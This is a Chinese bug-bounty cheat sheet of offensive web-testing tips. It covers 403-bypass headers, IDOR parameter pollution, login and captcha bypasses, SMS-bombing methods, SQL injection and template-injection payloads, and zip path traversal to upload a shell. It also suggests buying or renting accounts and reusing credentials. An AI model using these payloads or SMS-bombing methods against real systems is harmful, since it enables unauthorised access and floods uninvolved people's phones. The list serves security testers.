漏洞挖掘CheatSheet
0x00 前言
漏洞挖掘技巧的一个小备份,打√表示技巧成功测试过的。
0x01 逻辑漏洞
未授权接口
-
一般app.js为主文件,JS格式化后一行一行看。如果有混淆可以用jsnice反混淆一下。
-
前端的JS和登录后的JS可能不一样,可以互相拼接尝试。
-
通过ctrl+F搜索url,path,location等关键词,或者搜索routes,data,home,secret等。 [√]
-
访问网站时预加载的js文件可能不是全部,可以ctrl+F搜索.js等关键词。
-
如果接口提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。 [√]
-
后台登陆后js文件也可以看一看。 [√]
-
针对Webpack等前端打包工具:https://github.com/rtcatc/Packer-Fuzzer
专门针对前端vue框架的JavaFx图形化GUI漏洞扫描工具:https://github.com/zangcc/Aakian-v1.0
前端加密Fuzz插件:https://github.com/c0ny1/jsEncrypter -
常见接口:
添加 删除 修改 查询 POST /api/module DELETE /api/module/id POST /api/module/modify GET /api/module/list PUT /api/module GET /api/module/del?id= POST /api/module GET /api/module/all POST /api/module/del -
以及其他常见未授权:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#swagger
/swagger/
/api/swagger/
/swagger/ui/
/api/swagger/ui/
/swagger-ui.html/
/api/swagger-ui.html/
/user/swagger-ui.html/
/swagger/ui/
/api/swagger/ui/
/libs/swaggerui/
/api/swaggerui/
/swagger-resources/configuration/ui/
/swagger-resources/configuration/security/
#druid
/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json
/druid/login.html
#其他
/debug/pprof/cmdline
/.DS_Stroe
/tenant/
/sources/
/actuator/env/
/graphql
/content/env
/logs/
/logs/access.log
/split/ -
如果当前目录http://www/wwwxx/login.html无法进行渗透下去,可以尝试转到上层目录查看http://www/wwwxx/,访问时需要关注加载的数据包。 [√]
-
接口程序溢出,int最大值为2147483647,可尝试使用该值进行整数溢出,观察现象。
-
API接口处,可以自己构造参数,POST形式传参,可以尝试构造为JSON格式,记得添加
content-type: application/json
,一些可尝试参数,page,size,id。
接口的403绕过tips
请求方法绕过
如果某个请求方法无效,可以试试别的请求方法。
- GET /users/delete/VICTIM_ID --> 403 Forbidden
- POST /users/delete/VICTIM_ID --> 200 OK
请求头绕过
请求标头包含了关于请求者或来源页面的一些信息,可以尝试添加或更改请求头来实现绕过。
- X-Original-URL: /auth/login
- X-Rewrite-URL: /auth/login
- ReFerer: https://xxx/auth/login
- X-Originating-IP: 127.0.0.1
- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1
- 更改Host头
路径绕过
路径穿越
- POST /users/delete/MY_ID/…/VICTIM_ID
- POST /users/delete/…;/delete/VICTIM_ID
大小写替换
- GET /admin/profile --> 401 Unauthorized
- GET /ADMIN/profile --> 200 OK
多版本API绕过 [√]
- GET /v2/users_data/1234 --> 403 Forbidden
- GET /v1/users_data/1234 --> 200 OK
参数污染
针对同一参数给多个不同的值
- GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID
- GET /api_v1/messages?user_id=VICTIM_ID&user_id=ATTACKER_ID
- GET /api_v1/messages?user_id[]=ATTACKER_ID&user_id[]=VICTIM_ID
- GET /api_v1/messages?user_id[]=VICTIM_ID&user_id[]=ATTACKER_ID
无中生有,提供额外的ID值 [√]
- GET /api_v1/messages --> 200 OK
- GET /api_v1/messages?user_id=victim_uuid --> 200 OK
通配符替换参数值
- GET /api/users/<user_id>/ --> GET /api/users/*
数字ID替换非数字参数
- GET /file?id=90ri2xozifke29ikedawOd --> 200 OK
- GET /file?id=302 --> 200 OK
格式绕过
内容类型
- Content-type: application/xml --> Content-type: application/json
文件类型
- GET /user_data/123 --> 401 Unauthorized
- GET /user_data/123.json --> 200 OK
越权
-
多注意cookie中,请求参数中,可疑的加密值,例如:id值,value值等,修改可能就很造成越权;如果加密值无法解密,有条件下可以尝试使用另一个账号的加密值替换看看。
-
POST提交数据中的name值,txtNumber值,id值,应用中心修改ROLE_1值,个人中心GET请求的参数值,还有其它可疑的参数等。
-
同一个请求包更换普通用户cookie或者token去请求看返回结果,是否跟管理员一样。
-
如果接口的响应包JSON中含有提交数据包中不包含的数据,可以尝试提交修改。比如修改个人资料界面,回显返回JSON数据显示手机或积分等数据,可以测试修改手机或积分。
登录逻辑
- 尝试拦截响应包修改其中的ret值,看是否存在逻辑绕过的情况(一般可以尝试true、success、200、0、1、ok等) [√√]
- 同一系统登录返回包复用
验证码
- 图片验证码可尝试设置为空,如:code=undefined
- 返回包可能会存在验证码,或者直接写到cookie里。 [√]
- 请求的验证码如果包含尺寸参数,可尝试拒绝服务攻击。
- 万能验证码,例如:四位数的时候,可能四个0000,6666,1111,8888,9999;六位数可能是000000,666666,111111,888888等。 [√]
- [?]观察Cookie中,参数中是否有发送给用户的内容,可以尝试更改,可以构造钓鱼链接。
- 删除验证码或cookie里的值可以直接爆破账号密码 [√]
- 如果验证码有实效,可尝试一段时间内重复发送获取验证码,因为有实效,所以有可能会延长验证码的时长。
- 短位数验证码且无防护可以尝试爆破。 [√]
短信轰炸
- 纵向短信轰炸
- 短时间内多次重发数据包
- 多次加入手机号,例如phone=13333333333&phone=133333333333,或者phone=13333333333,133333333333
- 修改cookie重放数据包
- 手机号前后加空格,86,086,0086,+86,0,00,/r,/n, +,以及特殊符号等 [√]
- 手机号输入邮箱,邮箱处输入手机号
- 请求参数更改大小写,或增加请求参数,例如&id=1
- 多测试接口,登录处可能做了防护,但是找回密码处没做,或者注册流程中也没做
- 修改回显
- 位数不够,138888888889:12位经过短信网关取前11位,导致短信轰炸
- 横向短信爆破:phone=13333333333,13888888888… [√]
- 获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码。 [√√]
0x02 数据库
Redis
如果开放了redis服务(1234端口),可以尝试使用/actuator/redis/info
语句看是否能读取敏感信息,如:http://www.xxx.com:1234/actuator/redis/info
SQL注入
Mysql
- 可以尝试使用&&替换and,如:
' && '1'='1
,' %26%26 '1'='1
。 - waf过滤了
=
,可尝试用like
替代。如:and 1 like 1
万能密码
- '=0#
0x03 信息搜集
资产
- 在搜狗搜索中选择
微信
可以搜索相关企业相关公众号资产。 - 获取账号:文库,QQ群,github泄露,借/租/买账号。[√]
- 可以通过图标哈希收集资产。
字典
-
拿baidu.cn举例,可以使用baidu生成字典,也可以使用生成字典,反正全称或者简称都可以尝试。
-
企业邮箱前缀也可以作为用户名或者密码的字典制作,如hx@huoxian.com。
-
学号比较大的可能性是你的入学年份加上一系列编号;内部的工号可能与隶属部门关联,例如:老师可能是T2019001,t2019001。
-
还有人名可能也存在,如:zhangsan或者zs。
-
密码喷洒是用来收集用户名的。
-
dirsearch调优:
1
python3 dirsearch.py -f php,html,js -u https://target -t 20 -r -R 3 --recursion-status 200-403 --timeout 3 --retries 1 --random-agent -w ./dic/path
口令复用
- 通过上述步骤获取一个账号密码后,可以使用该账号和密码去碰撞别的系统。例如账号是zhangsan,密码是123456;可以拿zhangsan/123456去登录,还可以尝试zhangsan/zhangsan去登录。
- 通过登录进去后如果有相关敏感信息,比如出生日期,手机号,身份证,可以尝试搜索资产看看有没有系统默认密码尝试去登录;还可以拿敏感信息去生成相关字典。
威胁情报
- 网盘
- 可以通过企业名+关键词的形式进行排查
- 常见关键词:合同、设计图纸、身份证、花名册、通讯录、报表、投标文件、入职
- 情报提交时说明网盘链接和截图,方便厂商排查
- 可以通过企业名+关键词的形式进行排查
- 搜索引擎
- 关键词:机密等级、身份证号、PDF、index of、Backup、sfzh
敏感路径
结合任意文件读取
或任意文件下载
漏洞使用。
Linux
1 |
|
0x04 文件上传
Zip目录穿越实现文件上传[√]:
- 在Linux系统下,在shell的当前目录新建若干个文件夹
- 进入到文件内,使用命令
zip shell.zip ../../../shell.php
将shell打包进zip - 上传zip,观察shell是否实现穿越
0x05 其他
- Gitlab平台漏洞 - CVE-2020-10977
- 模板注入:
以Python为例,列出当前目录下所有文件的Payload:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
- 如果泄露阿里云的 AKSK,可以使用AKSKtools工具进一步利用。
https://xz.aliyun.com/t/8429
- 最短xss测试:
a
0x06 参考
SRC常用思路 - 原创文章发布(Original Article) - T00LS | 低调求发展 - 潜心习安全
Power7089/PenetrationTest-Tips: 渗透测试,渗透测试小技巧,渗透测试Tips,师傅们跟我一起维护更新吧~ (github.com)